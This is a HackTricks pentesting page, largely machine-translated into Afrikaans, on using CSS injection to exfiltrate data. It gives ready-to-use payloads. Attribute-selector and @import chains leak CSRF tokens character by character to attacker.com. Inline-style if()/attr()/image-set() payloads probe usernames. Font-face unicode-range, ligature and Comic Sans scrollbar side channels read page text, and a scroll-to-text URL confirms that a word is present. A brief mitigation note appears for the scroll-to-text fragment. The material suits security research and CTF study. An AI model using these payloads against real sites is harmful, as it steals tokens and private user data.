31 KiB
CSS Injection
{{#include ../../../banners/hacktricks-training.md}}
CSS Injection
Attribute Selector
CSS selectors word ontwerp om ooreen te stem met die waardes van 'n input
-element se name
en value
attribuutte. As die value
-attribuut van die input
-element begin met 'n spesifieke karakter, word 'n voorafbepaalde eksterne hulpbron gelaai:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Hierdie benadering stuit egter op 'n beperking wanneer dit by versteekte input-elemente (type="hidden"
) kom, omdat versteekte elemente nie agtergronde laai nie.
Omseiling vir versteekte elemente
Om hierdie beperking te omseil, kan jy 'n daaropvolgende sibling-element teiken deur die ~
general sibling combinator te gebruik. Die CSS-reël pas dan toe op alle sibling-elemente wat op die versteekte input-element volg, wat veroorsaak dat die agtergrondbeeld gelaai word:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
’n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die verskafte kodefragment uiteengesit. Jy kan dit sien here.
Voorvereistes vir CSS Injection
Vir die CSS Injection-tegniek om effektief te wees, moet sekere voorwaardes nagekom word:
- Payload Length: Die CSS injection vektor moet voldoende lang payloads ondersteun om die vervaardigde selectors te akkommodeer.
- CSS Re-evaluation: Jy moet die vermoë hê om die bladsy te frame, wat nodig is om die her-evaluering van CSS met nuut-gegenereerde payloads te trigger.
- External Resources: Die tegniek gaan uit van die vermoë om externally hosted images te gebruik. Dit kan deur die webwerf se Content Security Policy (CSP) beperk word.
Blind Attribute Selector
As explained in this post, is dit moontlik om die selectors :has
en :not
te kombineer om inhoud te identifiseer selfs van blind elemente.
Dit is ook moontlik om daardie selectors te gebruik om inligting te onttrek uit verskeie blokke van dieselfde tipe, soos in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Deur dit te kombineer met die volgende @import tegniek, is dit moontlik om baie inligting deur CSS injection vanaf blinde bladsye met blind-css-exfiltration.
@import
Die vorige tegniek het 'n paar nadele — kyk na die prerequisites. Jy moet óf in staat wees om meerdere skakels na die slagoffer te stuur, óf jy moet in staat wees om die CSS injection kwesbare bladsy te iframe.
Daar is egter nog 'n slim tegniek wat CSS @import
gebruik om die kwaliteit van die tegniek te verbeter.
Dit is eers deur Pepe Vila getoon en dit werk soos volg:
In plaas daarvan om dieselfde bladsy oor en oor te laai met tientalle verskillende payloads elke keer (soos in die vorige), gaan ons die bladsy net een keer laai en slegs met 'n import na die aanvallers-bediener (dit is die payload wat aan die slagoffer gestuur word):
@import url("//attacker.com:5001/start?");
- The import is going to ontvang 'n CSS-skrip from the aanvallers and the blaaier sal dit laai.
- The first part of the CSS script the attacker will send is another
@import
to the attackers server again. - Die aanvallers se bediener sal hierdie versoek nog nie beantwoord nie, want ons wil eers 'n paar karakters leak en dan hierdie import beantwoord met die payload om die volgende te leak.
- The second and bigger part of the payload is going to be an attribute selector leakage payload
- Dit sal na die aanvallers se bediener stuur die eerste karakter van die geheim en die laaste een
- Zodra die aanvallers se bediener die eerste en laaste karakter van die geheim ontvang het, sal dit die import wat in stap 2 versoek is beantwoord.
- Die respons gaan presies dieselfde wees as die stappe 2, 3 en 4, maar hierdie keer sal dit probeer om die tweede karakter van die geheim en dan die voorlaaste te vind.
Die aanvaller sal daardie lus volg totdat hy daarin slaag om die geheim heeltemal te leak.
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
Tip
Die skrip sal probeer om elke keer 2 karakters te ontdek (van die begin en van die einde) omdat die attribute selector toelaat om dinge soos te doen:
/* value^= to match the beggining of the value*/ input[value^="0"] { --s0: url(http://localhost:5001/leak?pre=0); } /* value$= to match the ending of the value*/ input[value$="f"] { --e0: url(http://localhost:5001/leak?post=f); }
Dit laat die skrip toe om die geheim vinniger te leak.
Warning
Soms sal die skrip nie korrek herken dat die prefix + suffix wat ontdek is reeds die volledige vlag is nie en dit sal vorentoe (in die prefix) en agtertoe (in die suffix) voortgaan en op 'n stadium sal dit vasloop.
Moenie bekommerd wees nie — kyk net na die uitset want jy kan die vlag daar sien.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
Warning
Gelykheidsvergelykings in if() vereis dubbele aanhalingstekens vir stringliterale. Enkele aanhalingstekens sal nie ooreenstem nie.
- Sink: beheer 'n element se style-attribuut en maak seker dat die teikenattribuut op dieselfde element is (attr() lees slegs dieselfde-element-attribuute).
- Read: kopieer die attribuut na 'n CSS-variabele:
--val: attr(title)
. - Decide: kies 'n URL deur geneste conditionals te gebruik wat die veranderlike met stringkandidate vergelyk:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: pas
background: image-set(var(--steal))
(of enige fetching-eienskap) toe om 'n versoek na die gekose eindpunt af te dwing.
Poging (werk nie; enkele aanhalingstekens in die vergelyking):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Werkende payload (dubbele aanhalingstekens vereis in die vergelyking):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Enumerasie van attribuutwaardes met geneste voorwaardes:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Realistiese demo (probing usernames):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Aantekeninge en beperkings:
- Werk op Chromium-gebaseerde blaaiers ten tyde van die navorsing; gedrag kan op ander enjinne verskil.
- Beste geskik vir eindige/uitputbare waarderuimtes (IDs, flags, short usernames). Om ewekansige lang stringe te steel sonder external stylesheets bly uitdagend.
- Enige CSS-eienskap wat 'n URL opvra, kan gebruik word om die versoek te aktiveer (e.g., background/image-set, border-image, list-style, cursor, content).
Automation: 'n Burp Custom Action kan nested inline-style payloads genereer om attribute values te brute-force: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Ander selectors
Ander maniere om toegang tot DOM-dele te kry met CSS selectors:
.class-to-search:nth-child(2)
: Dit sal die tweede item met klas "class-to-search" in die DOM soek.:empty
selector: Gebruik byvoorbeeld in this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Foutgebaseerde XS-Search
Verwysing: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Die algemene bedoeling is om 'n custom font from a controlled endpoint te gebruik en te verseker dat teks (in hierdie geval, 'A') met hierdie font vertoon word slegs as die gespesifiseerde hulpbron (favicon.ico
) nie gelaai kan word nie.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Aangepaste Lettertipe Gebruik:
- ’n Aangepaste lettertipe word gedefinieer met die
@font-face
reël binne ’n<style>
-tag in die<head>
-afdeling. - Die lettertipe word
poc
genoem en word van ’n eksterne eindpunt opgehaal (http://attacker.com/?leak
). - Die
unicode-range
eienskap is gestel opU+0041
, wat die spesifieke Unicode-karakter 'A' teiken.
- Object-element met Fallback-tekst:
- ’n
<object>
-element metid="poc0"
word in die<body>
-afdeling geskep. Hierdie element probeer ’n hulpbron laai vanafhttp://192.168.0.1/favicon.ico
. - Die
font-family
vir hierdie element is gestel op'poc'
, soos in die<style>
-afdeling gedefinieer. - Indien die hulpbron (
favicon.ico
) misluk om te laai, word die fallback-inhoud (die letter 'A') binne die<object>
-tag vertoon. - Die fallback-inhoud ('A') sal met die aangepaste lettertipe
poc
gerender word as die eksterne hulpbron nie gelaai kan word nie.
Stilisering van Scroll-to-Text Fragment
Die :target
pseudo-klas word gebruik om ’n element te kies wat deur ’n URL-fragment geteiken is, soos gespesifiseer in die CSS Selectors Level 4 specification. Dit is belangrik om te verstaan dat ::target-text
nie by enige elemente pas nie tensy die teks eksplisiet deur die fragment geteiken word.
’n Sekuriteitsprobleem ontstaan wanneer aanvalers die Scroll-to-text fragment-funksie misbruik, wat hulle in staat stel om die aanwezigheid van spesifieke teks op ’n webblad te bevestig deur ’n hulpbron vanaf hul bediener te laai via HTML-inspuiting. Die metode behels die inspuiting van ’n CSS-reël soos hierdie:
:target::before {
content: url(target.png);
}
In sulke scenario's, indien die teks "Administrator" op die bladsy teenwoordig is, word die hulpbron target.png
vanaf die bediener aangevra, wat die teenwoordigheid van die teks aandui. 'n Voorbeeld van hierdie attack kan uitgevoer word deur 'n spesiaal saamgestelde URL wat die ingespuitde CSS saam met 'n Scroll-to-text fragment insluit:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Hier manipuleer die aanval HTML injection om die CSS code oor te dra, gerig op die spesifieke teks "Administrator" deur die Scroll-to-text fragment (#:~:text=Administrator
). As die teks gevind word, word die aangeduide hulpbron gelaai en dui dit onbedoeld sy teenwoordigheid aan die aanvaller.
Vir mitigasie moet die volgende punte in ag geneem word:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te pas, en beperk daarmee sy vermoë om arbitrêre secrets of tokens te leak.
- Restriction to Top-level Browsing Contexts: STTF werk slegs in top-level browsing contexts en funksioneer nie binne iframes nie, waardeur enige exploitation attempt meer sigbaar vir die gebruiker word.
- Necessity of User Activation: STTF vereis 'n user-activation gesture om te werk, wat beteken dat exploitations slegs deur user-initiated navigations moontlik is. Hierdie vereiste verminder aansienlik die risiko dat attacks sonder gebruikersinteraksie geoutomatiseer word. Die blog post se outeur wys egter op spesifieke toestande en bypasses (bv. social engineering, interaksie met algemene browser extensions) wat die automatisering van die attack kan vergemaklik.
Bewustheid van hierdie meganismes en potensiële kwesbaarhede is noodsaaklik om websekuriteit te handhaaf en teen sulke uitbuitende taktieke te beskerm.
For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
You can check an exploit using this technique for a CTF here.
@font-face / unicode-range
Jy kan eksterne lettertipes vir spesifieke unicode-waardes spesifiseer wat slegs opgelaai sal word as daardie unicode-waardes in die bladsy teenwoordig is. Byvoorbeeld:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
Wanneer jy hierdie bladsy besoek, haal Chrome en Firefox "?A" en "?B" op omdat die text node van sensitive-information die karakters "A" en "B" bevat. Maar Chrome en Firefox haal nie "?C" op nie omdat dit nie "C" bevat. Dit beteken dat ons "A" en "B" kon lees.
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Die beskrywe tegniek behels die onttrekking van teks uit 'n node deur font ligatures te misbruik en veranderinge in breedte te monitor. Die proses bestaan uit verskeie stappe:
- Creation of Custom Fonts:
- SVG fonts word vervaardig met glyphs wat 'n
horiz-adv-x
attribuut het, wat 'n groot breedte vir 'n glyph wat 'n twee-karakter volgorde voorstel, instel. - Voorbeeld SVG glyph:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, waar "XY" 'n twee-karakter volgorde aandui. - Hierdie fonts word dan na woff formaat omskep met fontforge.
- Detection of Width Changes:
- CSS word gebruik om te verseker dat teks nie ombreek nie (
white-space: nowrap
) en om die scrollbar-styl aan te pas. - Die verskyning van 'n horisontale scrollbar, gestileer op 'n kenmerkende manier, dien as 'n indikator (oracle) dat 'n spesifieke ligature, en dus 'n spesifieke karakterreeks, in die teks teenwoordig is.
- Die betrokke CSS:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Exploit Process:
- Step 1: Fonts word geskep vir pare karakters met groot breedte.
- Step 2: 'n scrollbar-gebaseerde truuk word gebruik om te ontdek wanneer die groot-breedte glyph (ligature vir 'n karakterpaar) gerender word, wat aandui dat die karakterreeks teenwoordig is.
- Step 3: Nadat 'n ligature gedetecteer is, word nuwe glyphs gegenereer wat drie-karakter reekse voorstel, deur die gedeteekte paar te inkorporeer en 'n voorafgaande of volgende karakter by te voeg.
- Step 4: Die drie-karakter ligature word gedetecteer.
- Step 5: Die proses herhaal, en ontbloot stelselmatig die volledige teks.
- Optimization:
- Die huidige initsialisasiemetode wat
<meta refresh=...
gebruik, is nie optimaal nie. - 'n Meer doeltreffende benadering kan die CSS
@import
truuk insluit, wat die exploit se prestasie verbeter.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
Hierdie truuk is vrygestel in hierdie Slackers thread. Die charset wat in 'n text node gebruik word, kan be-leak word using the default fonts geïnstalleer in die browser: geen eksterne of custom fonts is nodig nie.
Die konsep draai om die gebruik van 'n animasie om die breedte van 'n div
stapsgewys te vergroot, wat een karakter op 'n slag toelaat om van die 'suffix' deel van die teks na die 'prefix' deel oor te gaan. Hierdie proses split die teks effektief in twee gedeeltes:
- Prefix: Die aanvanklike reël.
- Suffix: Die daaropvolgende reël(e).
Die oorgangsfases van die karakters sal soos volg verskyn:
C
ADB
CA
DB
CAD
B
CADB
Tydens hierdie oorgang word die unicode-range trick gebruik om elke nuwe karakter te identifiseer namate dit by die prefix aansluit. Dit word bereik deur die font na Comic Sans te skakel, wat merkbaar hoër is as die default font, en gevolglik 'n vertikale scrollbar veroorsaak. Die verskyning van hierdie scrollbar openbaar indirek die teenwoordigheid van 'n nuwe karakter in die prefix.
Alhoewel hierdie metode die detectie van unieke karakters soos hulle verskyn toelaat, spesifiseer dit nie watter karakter herhaal word nie — slegs dat 'n herhaling plaasgevind het.
Tip
Basies, die unicode-range is used to detect a char, maar omdat ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.
Wanneer die char found is, word dit die vooraf-geïnstalleerde Comic Sans font gegee, wat die char bigger maak en 'n scroll bar triggers wat die leak the found char sal veroorsaak.
Kyk na die kode onttrek uit die PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
Verwysing: This is mentioned as an unsuccessful solution in this writeup
Hierdie geval is baie soortgelyk aan die vorige; in hierdie geval is die doel om sekere chars groter as ander te maak om iets te versteek soos 'n knoppie wat nie deur die bot gedruk moet word nie, of 'n image wat nie gelaai sal word nie. Ons kan dus die aksie (of die gebrek aan aksie) meet en daarmee vasstel of 'n spesifieke char in die teks voorkom.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Verwysing: This is mentioned as an unsuccessful solution in this writeup
In hierdie geval kan ons probeer om te leak of 'n char in die teks is deur 'n fake font vanaf dieselfde origin te laai:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
If daar 'n ooreenkoms is, sal die font will be loaded from /static/bootstrap.min.css?q=1
. Al sal dit nie suksesvol laai nie, behoort die blaaier dit te cache, en selfs as daar geen cache is nie, is daar 'n 304 not modified-meganisme, so die response behoort vinniger te wees as ander dinge.
As die tydverskil tussen die gecachede response en die nie-gecachede een egter nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die outeur het genoem: Na toetsing het ek gevind dat die eerste probleem is dat die spoed nie veel verskil nie, en die tweede probleem is dat die bot die disk-cache-size=1
flag gebruik, wat regtig bedag is.
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
Verwysing: Dit word genoem as an unsuccessful solution in this writeup
In hierdie geval kan jy aandui CSS to load hundreds of fake fonts vanaf dieselfde oorsprong wanneer 'n ooreenkoms plaasvind. Op hierdie manier kan jy die tyd meet wat dit neem en uitvind of 'n char verskyn of nie met iets soos:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
En die bot se kode lyk soos volg:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Dus, indien die lettertipe nie ooreenstem nie, word daar verwag dat die reaksietyd wanneer die bot besoek word ongeveer 30 sekondes sal wees. As daar egter wel 'n lettertipe-ooreenkoms is, sal verskeie versoeke gestuur word om die lettertipe op te haal, wat voortdurende netwerkaktiwiteit veroorsaak. Gevolglik sal dit langer neem om die stopvoorwaarde te bevredig en die antwoord te ontvang. Daarom kan die reaksietyd as 'n aanwyser gebruik word om te bepaal of daar 'n lettertipe-ooreenkoms is.
Verwysings
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
{{#include ../../../banners/hacktricks-training.md}}